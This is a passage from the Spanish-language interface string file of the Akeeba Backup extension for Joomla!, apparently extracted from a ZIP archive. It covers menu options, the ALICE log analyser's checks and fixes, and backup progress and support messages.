COM_AKEEBABACKUP_VIEW_BACKUP_AUTOSTART_DESC="¿Debe iniciarse la copia de seguridad de inmediato? Si es así, el usuario no tendrá la oportunidad de introducir una descripción y comentarios de la copia de seguridad."
COM_AKEEBABACKUP_VIEW_BACKUP_HIDETOOLBAR_LABEL="Ocultar barra de herramientas"
COM_AKEEBABACKUP_VIEW_BACKUP_HIDETOOLBAR_DESC="¿Debe ocultarse la barra de herramientas con los botones de Ayuda y Panel de control?"
COM_AKEEBABACKUP_VIEW_BACKUP_RETURNURL_LABEL="URL de retorno"
COM_AKEEBABACKUP_VIEW_BACKUP_RETURNURL_DESC="Introduzca una URL interna a la que regresar después de que se complete la copia de seguridad. Por ejemplo: introduzca <code>index.php</code> para regresar al panel de control de Joomla o <code>index.php%3Foption%26com_akeeba</code> para regresar al panel de control de Akeeba Backup. <br/> <strong>ADVERTENCIA</strong> Debido a cómo funciona el gestor de menús de Joomla!, la URL que introduzca DEBE estar codificada para URL. Puede hacerlo guardando el elemento de menú <em>dos veces seguidas</em>. Este es un error conocido / función que falta en el propio Joomla!."

COM_AKEEBABACKUP_VIEW_CONFIGURATION_TITLE="Configuración"
COM_AKEEBABACKUP_VIEW_CONFIGURATION_DESC="Configurar el perfil de copia de seguridad activo actualmente."

COM_AKEEBABACKUP_VIEW_MANAGE_TITLE="Gestionar copias de seguridad"
COM_AKEEBABACKUP_VIEW_MANAGE_DESC="Gestionar intentos de copia de seguridad, incluida la elección de restaurar cualquier copia de seguridad anterior."

COM_AKEEBABACKUP_VIEW_RESTORE_TITLE="Restaurar la última copia de seguridad"
COM_AKEEBABACKUP_VIEW_RESTORE_DESC="Restaurar la última copia de seguridad realizada con un perfil de copia de seguridad específico. Por favor, lea la documentación."
COM_AKEEBABACKUP_VIEW_RESTORE_PROFILE_LABEL="Perfil de copia de seguridad"
COM_AKEEBABACKUP_VIEW_RESTORE_PROFILE_DESC="Restaurar la última copia de seguridad realizada con este perfil de copia de seguridad. <strong>¡IMPORTANTE!</strong> Solo buscará la última copia de seguridad realizada con este perfil. El archivo de copia de seguridad DEBE existir en su servidor. Si lo ha eliminado, o si está almacenado de forma remota, recibirá un error. Restaurar copias de seguridad almacenadas de forma remota requiere que vaya primero a Gestionar copias de seguridad y las recupere de vuelta a su servidor."

COM_AKEEBABACKUP_VIEW_TRANSFER_TITLE="Asistente de transferencia de sitios"
COM_AKEEBABACKUP_VIEW_TRANSFER_DESC="Le permite restaurar la última copia de seguridad en una ubicación/servidor diferente. <strong>¡IMPORTANTE!</strong> Solo buscará la última copia de seguridad realizada. El archivo de copia de seguridad DEBE existir en su servidor. Si lo ha eliminado, o si está almacenado de forma remota, se le pedirá que realice una nueva copia de seguridad. Transferir copias de seguridad almacenadas de forma remota requiere que vaya primero a Gestionar copias de seguridad y las recupere de vuelta a su servidor."
PK     \'=H H #  language/es-ES/com_akeebabackup.ininu [        COM_AKEEBABACKUP="Akeeba Backup <small>for Joomla!&trade;</small>"
COM_AKEEBABACKUP_CORE="Akeeba Backup CORE <small>for Joomla!&trade;</small>"
COM_AKEEBABACKUP_PRO="Akeeba Backup Professional <small>for Joomla!&trade;</small>"

COM_AKEEBABACKUP_ALICE="Solucionador de problemas - ALICE"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_HEAD="El análisis del registro ha finalizado"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_ERROR="Error detectado"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_ERRORHELP="Si no comprende el significado del error anterior y dispone de una suscripción de soporte activa en nuestro sitio, abra una solicitud de soporte incluyendo todo el texto de esta página. Esto nos permitirá ayudarle de la forma más eficiente posible. ¡Gracias!"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_NEXTSTEPS="Si la solución presentada anteriormente no le ayudó a resolver su problema y dispone de una suscripción de soporte activa en nuestro sitio, abra una solicitud de soporte incluyendo: 1. un archivo ZIP con el archivo de registro de su copia de seguridad; y 2. el texto de esta página. Por favor, no incluya <em>solo</em> esta información, ya que hará que nuestras respuestas sean más lentas y menos precisas. Intente también describir su problema de copia de seguridad con más detalle: por qué cree que hay un problema, cuándo empezó a ocurrir, qué pasos correctivos tomó usted mismo y cualquier información que considere relevante para ayudarnos a entender mejor lo que está ocurriendo."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SOLUTION="Posible solución:"
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY="ALICE ha finalizado el análisis del registro. Se ejecutaron un total de %d comprobaciones diferentes."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_ERRORS="Hemos detectado un problema grave que puede haber causado el fallo de su copia de seguridad."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_SUCCESS="No se detectaron problemas en la copia de seguridad."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_SUMMARY_WARNINGS="Solo detectamos algunos problemas menores que, por lo general, no causan el fallo de la copia de seguridad."
COM_AKEEBABACKUP_ALICE_ANALYSIS_REPORT_LBL_WARNINGS="Advertencias detectadas"
COM_AKEEBABACKUP_ALICE_ANALYZE="Analizar registro"
COM_AKEEBABACKUP_ALICE_AUTORUN_NOTICE="Por favor, espere. El análisis del registro comenzará en breve."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM="Comprobando errores del sistema de archivos"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES="Directorios de gran tamaño"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES_ERROR="Los siguientes directorios tienen un número muy elevado de elementos: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_DIRECTORIES_SOLUTION="Debería cambiar el motor de exploración a <strong>Explorador de sitios grandes</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES="Problemas con archivos de gran tamaño"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES_ERROR="Los siguientes archivos son demasiado grandes y pueden causar problemas en la copia de seguridad: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES_SOLUTION="Intente excluir estos archivos usando la función de exclusión de archivos y directorios, o elimínelos si está seguro de que no los necesita en su sitio."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES="Múltiples instalaciones de Joomla!"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES_ERROR="Se encontraron instalaciones de Joomla! en los siguientes subdirectorios: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES_SOLUTION="Debería excluir estos subdirectorios, ya que podrían provocar problemas de tiempo de espera."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS="Copias de seguridad antiguas incluidas"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS_ERROR="Las siguientes copias de seguridad antiguas están incluidas en la copia de seguridad actual: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS_SOLUTION="Elimine o excluya estas de la copia de seguridad."
COM_AKEEBABACKUP_ALICE_ANALYZE_LABEL_PROGRESS="Progreso del análisis"
COM_AKEEBABACKUP_ALICE_ANALYZE_RAW_OUTPUT="El analizador de registros ha detectado uno o más problemas en la copia de seguridad. Si seguir las sugerencias de este analizador y las instrucciones de nuestra documentación de solución de problemas no funciona, y dispone de una suscripción activa en nuestro sitio, abra un nuevo ticket pegando el siguiente <em>resultado de texto del análisis del registro</em> para ayudarnos a proporcionarle soporte más rápido."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS="Comprobando requisitos del sistema"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE="Tipo y versión de base de datos"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_SOLUTION="Akeeba Backup solo es compatible con MySQL 5.0.47 o posterior"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_UNKNOWN="No se ha podido detectar el tipo de base de datos. Tipo detectado: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_UNSUPPORTED="Su servidor de base de datos aún no es compatible. Tipo de base de datos detectado: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_VERSION_TOO_OLD="La versión de la base de datos es demasiado antigua. Versión detectada: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS="Permisos de base de datos"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_ERROR="Parece que no puede ejecutar las sentencias SHOW TABLE y/o SHOW VIEW en su base de datos."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_SOLUTION="Por favor, contacte con su proveedor de alojamiento"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY="Memoria disponible"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY_SOLUTION="Contacte con su proveedor de alojamiento y pídale instrucciones para aumentar el límite de memoria de PHP."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY_TOO_FEW="Akeeba Backup necesita al menos 16 MB de memoria disponible. Memoria disponible detectada: %s MB"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION="Versión de PHP"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION_ERR_TOO_OLD="La versión de PHP es demasiado antigua. Versión detectada: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION_SOLUTION="Akeeba Backup requiere PHP 5.6 o PHP 7"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIMEERRORS="Comprobando errores en tiempo de ejecución"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL="Integridad de la instalación"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL_ERROR="Parece que su instalación está dañada. Esto puede ocurrir cuando el servidor aplica reglas de seguridad muy estrictas, identificando erróneamente los archivos de Akeeba Backup como amenazas de seguridad y eliminándolos o renombrándolos sin consultarle."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL_SOLUTION="Por favor, reinstale Akeeba Backup <strong>sin desinstalarlo</strong>. Si esto no ayuda, contacte con su proveedor de alojamiento de inmediato."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME="Base de datos adicional - Inclusión de la base de datos de Joomla"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME_ERROR="Ha añadido la base de datos de Joomla como base de datos adicional; algunos servidores podrían rechazar una segunda conexión a la misma base de datos, lo que resultaría en un error en la copia de seguridad"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME_SOLUTION="Elimine la base de datos de Joomla de las bases de datos adicionales"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_NO_PROFILE="No se ha podido detectar el perfil utilizado, prueba omitida"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG="Base de datos adicional - Datos de acceso incorrectos"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG_ERROR="Una o más bases de datos adicionales tienen datos de acceso no válidos"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG_SOLUTION="Por favor, revise los datos de conexión de las bases de datos adicionales"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES="Archivos de registro de errores"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES_FOUND="Los archivos de registro de errores están incluidos dentro del archivo de copia de seguridad:<br/>%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES_SOLUTION="Puede excluir estos archivos usando la siguiente expresión regular: <strong>#(/php_error_cpanel\.|php_error_cpanel\.|/error_)log#</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR="Errores fatales"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR_ERROR="El siguiente error fatal ocurrió mientras se realizaba la copia de seguridad. Por favor, revíselo y corríjalo antes de continuar: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR_SOLUTION="Si no comprende el significado de este error y dispone de una suscripción activa en nuestro sitio, abra un nuevo ticket de soporte asegurándose de: 1. comprimir y adjuntar el archivo de registro de la copia de seguridad; y 2. pegar el texto visible en la parte superior de esta página."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD="Problemas al guardar el estado del motor de copias de seguridad"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD_SOLUTION="Parece que su servidor procesó una misma solicitud más de una vez. Esto provoca fallos durante el proceso de copia de seguridad o archivos comprimidos corruptos; debería contactar con su proveedor de alojamiento e informar de este problema."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD_STARTING_MORE_ONCE="Intentando iniciar el paso %s más de una vez."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE="Motor de posprocesamiento y tamaño de parte del archivo"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE_ERROR="Se ha encontrado un motor de posprocesamiento, pero no se ha establecido ningún tamaño de parte; esto podría provocar problemas de tiempo de espera"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE_SOLUTION="Establezca un tamaño de parte en la configuración del perfil de copia de seguridad."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT="Tiempo de espera agotado durante la copia de seguridad"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_KETTENRAD_BROKEN="Ya existe un problema con el motor de copia de seguridad al guardar su estado. Por favor, corríjalo antes de continuar."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_MAX_EXECUTION="El script de copia de seguridad alcanzó el límite de tiempo de espera. Tiempo de espera detectado: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_SOLUTION="Intente establecer el tiempo mínimo de ejecución a 1, el tiempo máximo de ejecución a 10 segundos (o si el tiempo de espera de PHP es inferior a 10 segundos, utilice el 75% del tiempo de espera de PHP), y el margen de tiempo de ejecución al 75%"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS="Número de tablas que se están guardando"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS_ERROR="Está intentando realizar una copia de seguridad de demasiadas tablas. Evite hacer copias de seguridad de distintas instalaciones de Joomla! simultáneamente."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS_SOLUTION="Puede excluir las tablas no principales usando la siguiente expresión regular: <strong>!/^#__/</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS="Número de filas de la tabla"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_ERROR="Está intentando realizar una copia de seguridad de tablas con una gran cantidad de filas (más de 1 millón):\n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_ROWS="filas"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_SOLUTION="Debería excluir estas tablas usando la función <strong>Exclusión de tablas de base de datos</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_TABLE="Tabla"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND="Problemas al escribir el archivo de copia de seguridad"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND_ERROR="No se ha podido abrir el archivo de copia de seguridad para añadir contenido."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND_SOLUTION="Compruebe si dispone de suficiente espacio en disco, si se están agotando los recursos, o si necesita impedir que las copias de seguridad del sistema (Windows) y el análisis antivirus se ejecuten mientras se realiza la copia de seguridad."
COM_AKEEBABACKUP_ALICE_ERR_ANALYZEFAILED_HEADER="El análisis del registro ha fallado"
COM_AKEEBABACKUP_ALICE_ERR_ANALYZEFAILED_INFO="El análisis del registro se ha interrumpido. El analizador de registros ha informado del siguiente error:"
COM_AKEEBABACKUP_ALICE_ERR_CANNOT_OPEN_LOGFILE="El análisis del archivo de registro ha fallado: no se ha podido abrir el archivo de registro %s para su lectura."
COM_AKEEBABACKUP_ALICE_HEADER_CHECK="Comprobación realizada"
COM_AKEEBABACKUP_ALICE_HEADER_RESULT="Resultado"

COM_AKEEBABACKUP_ALICE_ERR_NOLOGS="No se han encontrado archivos de registro de copias de seguridad <strong>fallidas</strong>."
COM_AKEEBABACKUP_ALICE_HEAD_ONLYFAILED="ALICE solo funciona con copias de seguridad <em>fallidas</em>"
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_SHOWINGLOGS="ALICE es una herramienta para analizar los archivos de registro de copias de seguridad <em>fallidas</em> y —en la mayoría de los casos— indicarle la causa más probable del fallo. No está diseñada para analizar los registros de copias de seguridad exitosas, ya que hacerlo arrojaría resultados sin sentido, engañosos o directamente incorrectos. Por este motivo, solo le mostraremos los archivos de registro de copias de seguridad <em>fallidas</em>."
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_WHATISFAILED="Recuerde que las copias de seguridad que no terminaron de subir el archivo de copia de seguridad al almacenamiento remoto no se consideran fallidas. ALICE no puede detectar la causa raíz de estos problemas de todas formas. Si tiene este tipo de problema, debe abrir un ticket de soporte en la sección de soporte de nuestro sitio. Si otra persona instaló Akeeba Backup Professional en su sitio, contacte con esa persona; en ese caso no podrá abrir un ticket de soporte en nuestro sitio."
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_IFNOFAILED="Si su copia de seguridad falló pero no la ve en esta página, espere <em>tres (3) minutos</em>, vuelva a la página del Panel de control de Akeeba Backup y luego regrese aquí. Hay una razón para ello. En algunos casos, el fallo de la copia de seguridad es causado por un error del servidor. En estos casos, la copia de seguridad se marca como aún en progreso en lugar de fallida, ya que PHP deja de ejecutarse y, por tanto, nuestro código PHP que marcaría la copia de seguridad como fallida no tiene oportunidad de ejecutarse. Cuando visita la página del Panel de control, cualquier copia de seguridad marcada como aún en progreso durante más de 3 minutos se marcará como fallida. De ahí la necesidad de esperar y <em>luego</em> volver a la página del Panel de control."

COM_AKEEBABACKUP_BACKUP="Hacer copia de seguridad ahora"
COM_AKEEBABACKUP_BACKUP_ANALYSELOG="Analizar archivo de registro (ALICE)"
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_1="El script de restauración de Akeeba Backup solo será accesible si proporciona la contraseña que configuró en la página anterior, antes de hacer clic en el botón Hacer copia de seguridad ahora. Si no recuerda haber configurado una contraseña, su navegador ha autocompletado la contraseña en la página de Configuración <strong>sin preguntarle</strong>. Esto lo hacen muchos gestores de contraseñas y navegadores."
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_2="Los navegadores modernos y los gestores de contraseñas no nos permiten anular este comportamiento. Hemos implementado una defensa en JavaScript contra este tipo de autocompletado no consensuado del campo de contraseña en la página de Configuración. Sin embargo, si guarda la página de Configuración en aproximadamente medio segundo tras cargarla, esta defensa no tendrá oportunidad de ejecutarse."
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_HEADER="ADVERTENCIA: Ha configurado una contraseña para el script de restauración"
COM_AKEEBABACKUP_BACKUP_DEFAULT_DESCRIPTION="Copia de seguridad realizada el"
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_AUTOBACKUP="No se puede iniciar la copia de seguridad automática porque el directorio de salida no tiene permisos de escritura. Siga las instrucciones a continuación para resolver este problema."
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_COMMON="Para resolver este problema, vaya a la <a href=\"%s\">página de Configuración</a> y establezca el directorio de salida como <code>[DEFAULT_OUTPUT]</code> (todo en mayúsculas, incluyendo los corchetes). Si esto no funciona, consulte <a href=\"%s\">nuestras instrucciones de solución de problemas</a>"
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_NORMALBACKUP="Akeeba Backup no puede realizar una copia de seguridad de su sitio porque el directorio de salida no tiene permisos de escritura. Siga las instrucciones a continuación para resolver este problema."
COM_AKEEBABACKUP_BACKUP_ERROR_PROFILE_NO_ACCESS="No tiene acceso a este perfil de copia de seguridad."
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPFAILED="Copia de seguridad fallida"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPFINISHED="Copia de seguridad completada correctamente"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPRETRY="Copia de seguridad interrumpida y se reanudará automáticamente"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPWITHRETURNURLFINISHED="El proceso se completó correctamente"
COM_AKEEBABACKUP_BACKUP_HEADER_STARTNEW="Iniciar una nueva copia de seguridad"
COM_AKEEBABACKUP_BACKUP_LABEL_COMMENT="Comentario de la copia de seguridad"
COM_AKEEBABACKUP_BACKUP_LABEL_COMMENT_HELP="Aparecerá tanto en la página Gestionar copias de seguridad como dentro del archivo de copia de seguridad (en el archivo installation/README.html) para su comodidad."
COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION="Descripción breve"
COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION_HELP="Aparecerá en la página Gestionar copias de seguridad para su comodidad."
COM_AKEEBABACKUP_BACKUP_LABEL_DETECTEDQUIRKS="Akeeba Backup puede no funcionar como se espera"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_FINISHED="Finalizando el proceso de copia de seguridad"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_INIT="Inicializando el proceso de copia de seguridad"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_INSTALLER="Incorporando el instalador en el archivo"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_PACKDB="Realizando copia de seguridad de las bases de datos"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_PACKING="Realizando copia de seguridad de los archivos"
COM_AKEEBABACKUP_BACKUP_LABEL_PROGRESS="Progreso de la copia de seguridad"
COM_AKEEBABACKUP_BACKUP_LABEL_QUIRKSLIST="Akeeba Backup ha detectado los siguientes problemas potenciales:"
COM_AKEEBABACKUP_BACKUP_LABEL_RESTORE_DEFAULT="Restaurar valores predeterminados"
COM_AKEEBABACKUP_BACKUP_LABEL_START="¡Hacer copia de seguridad ahora!"
COM_AKEEBABACKUP_BACKUP_LABEL_WARNINGS="Advertencias"
COM_AKEEBABACKUP_BACKUP_LBL_EXPLAIN_PROFILES="Puede cambiar el perfil de copia de seguridad activo arriba para realizar una copia de seguridad con diferentes configuraciones. Puede crear perfiles de copia de seguridad en la página de Perfiles."
COM_AKEEBABACKUP_BACKUP_LBL_UPGRADENAG="¿Cansado de ver esta página? Puede automatizar sus copias de seguridad con Akeeba Backup Professional."
COM_AKEEBABACKUP_BACKUP_STATS="Estadísticas de copia de seguridad"
COM_AKEEBABACKUP_BACKUP_STATUS_NONE="No se ha realizado ninguna copia de seguridad"
COM_AKEEBABACKUP_BACKUP_TEXT_AVGWARNING="Está ejecutando el antivirus AVG con el Escáner de enlaces activado. Se sabe que esto causa problemas en las copias de seguridad. Por favor, desactive la función Escáner de enlaces si tiene algún problema.\n\n¿Está seguro de que desea continuar a pesar de esta advertencia?"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKINGUP="Por favor, <strong>NO</strong> navegue a otra página, cambie a otra pestaña o ventana del navegador, ni cambie a <em>otra aplicación</em> a menos que vea un mensaje de finalización o error. Asegúrese de que su dispositivo no entre en modo de suspensión mientras la copia de seguridad está en curso."
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILED="La operación de copia de seguridad se ha interrumpido porque se detectó un error.<br />El último mensaje de error fue:"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILEDRETRY="La operación de copia de seguridad se ha interrumpido porque se detectó un error. Sin embargo, Akeeba Backup intentará reanudar la copia de seguridad. Si no desea reanudarla, haga clic en el botón Cancelar a continuación."
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFINISHED="Copia de seguridad finalizada el"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT="Copia de seguridad interrumpida"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT_DESC="La copia de seguridad se reanudará en %d segundos"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPRESUME="Copia de seguridad reanudada el"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPSTARTED="Copia de seguridad iniciada el"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPWARNING="La copia de seguridad generó una advertencia"
COM_AKEEBABACKUP_BACKUP_TEXT_BTNRESUME="Reanudar"
COM_AKEEBABACKUP_BACKUP_TEXT_CONGRATS="¡Enhorabuena! El proceso de copia de seguridad se ha completado correctamente.<br/>Ahora puede navegar a otra página."
COM_AKEEBABACKUP_BACKUP_TEXT_LASTERRORMESSAGEWAS="Para su información, el último mensaje de error fue:"
COM_AKEEBABACKUP_BACKUP_TEXT_LASTRESPONSE="Última respuesta del servidor hace %s segundos"
COM_AKEEBABACKUP_BACKUP_TEXT_PLEASEWAITFORREDIRECTION="Por favor, espere; está siendo redirigido a la siguiente página.<br/>Esto puede tardar entre 5 y 30 segundos, según su conexión a Internet."
COM_AKEEBABACKUP_BACKUP_TEXT_READLOGFAIL="Haga clic en el botón 'Ver registro' de la barra de herramientas para ver el archivo de registro de Akeeba Backup y obtener más información."
COM_AKEEBABACKUP_BACKUP_TEXT_READLOGFAILPRO="Haga clic en el botón 'Analizar registro' a continuación para que Akeeba Backup analice su archivo de registro y obtenga más información."
COM_AKEEBABACKUP_BACKUP_TEXT_RTFMTOSOLVE="Le recomendamos encarecidamente que siga las instrucciones paso a paso de nuestro <a href=\"%s\">asistente de solución de problemas</a> para resolver este problema fácilmente por su cuenta."
COM_AKEEBABACKUP_BACKUP_TEXT_RTFMTOSOLVEPRO="Seguir las sugerencias de ALICE, nuestro analizador de registros, puede no ser suficiente. El analizador automático de registros no puede cubrir todos los casos de problemas posibles."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_CORE="Si esto no ayuda, puede considerar <a href=\"%s\">adquirir una suscripción</a> para poder solicitar soporte en nuestro <a href=\"%s\">sistema de tickets de soporte</a>."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_LOG="Si publica en nuestro sistema de tickets, recuerde comprimir y adjuntar su <a href=\"%s\">archivo de registro de copia de seguridad</a> en su mensaje para que podamos ayudarle más rápidamente."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_PRO="Si esto no ayuda, no dude en solicitar soporte en nuestro <a href=\"%s\">sistema de tickets de soporte</a>. Tenga en cuenta que necesita una suscripción activa para solicitar asistencia a través del sistema de tickets. Si Akeeba Backup Professional fue instalado en su sitio por un tercero —por ejemplo, su desarrollador web—, no contacte con Akeeba Ltd para obtener soporte. En su lugar, contacte con la persona que instaló el software en su sitio y solicítele asistencia para resolver este problema."
COM_AKEEBABACKUP_BACKUP_TEXT_WILLRETRY="La copia de seguridad se reanudará en"
COM_AKEEBABACKUP_BACKUP_TEXT_WILLRETRYSECONDS="segundos"
COM_AKEEBABACKUP_BACKUP_TROUBLESHOOTINGDOCS="Documentación de solución de problemas"

COM_AKEEBABACKUP_BROWSER_ERR_BASEDIR="El directorio especificado está sujeto a restricciones de open_basedir. No puede utilizarse como directorio de salida de la copia de seguridad ni se puede listar su contenido, si lo tuviera."
COM_AKEEBABACKUP_BROWSER_ERR_NONROOT="Para su información: Este directorio está fuera de la raíz web de su sitio."
COM_AKEEBABACKUP_BROWSER_ERR_NOTEXISTS="¡El directorio especificado no existe!"
COM_AKEEBABACKUP_BROWSER_LBL_GO="Ir"
COM_AKEEBABACKUP_BROWSER_LBL_GOPARENT="&lt;subir un nivel&gt;"
COM_AKEEBABACKUP_BROWSER_LBL_USE="Usar"

COM_AKEEBABACKUP_BUADMIN="Gestionar copias de seguridad"
COM_AKEEBABACKUP_BUADMIN_TABLE_CAPTION="Tabla de intentos de copia de seguridad"
COM_AKEEBABACKUP_BUADMIN_SORT_BACKUPSTART_ASC="Inicio de copia de seguridad ascendente"
COM_AKEEBABACKUP_BUADMIN_SORT_BACKUPSTART_DESC="Inicio de copia de seguridad descendente"
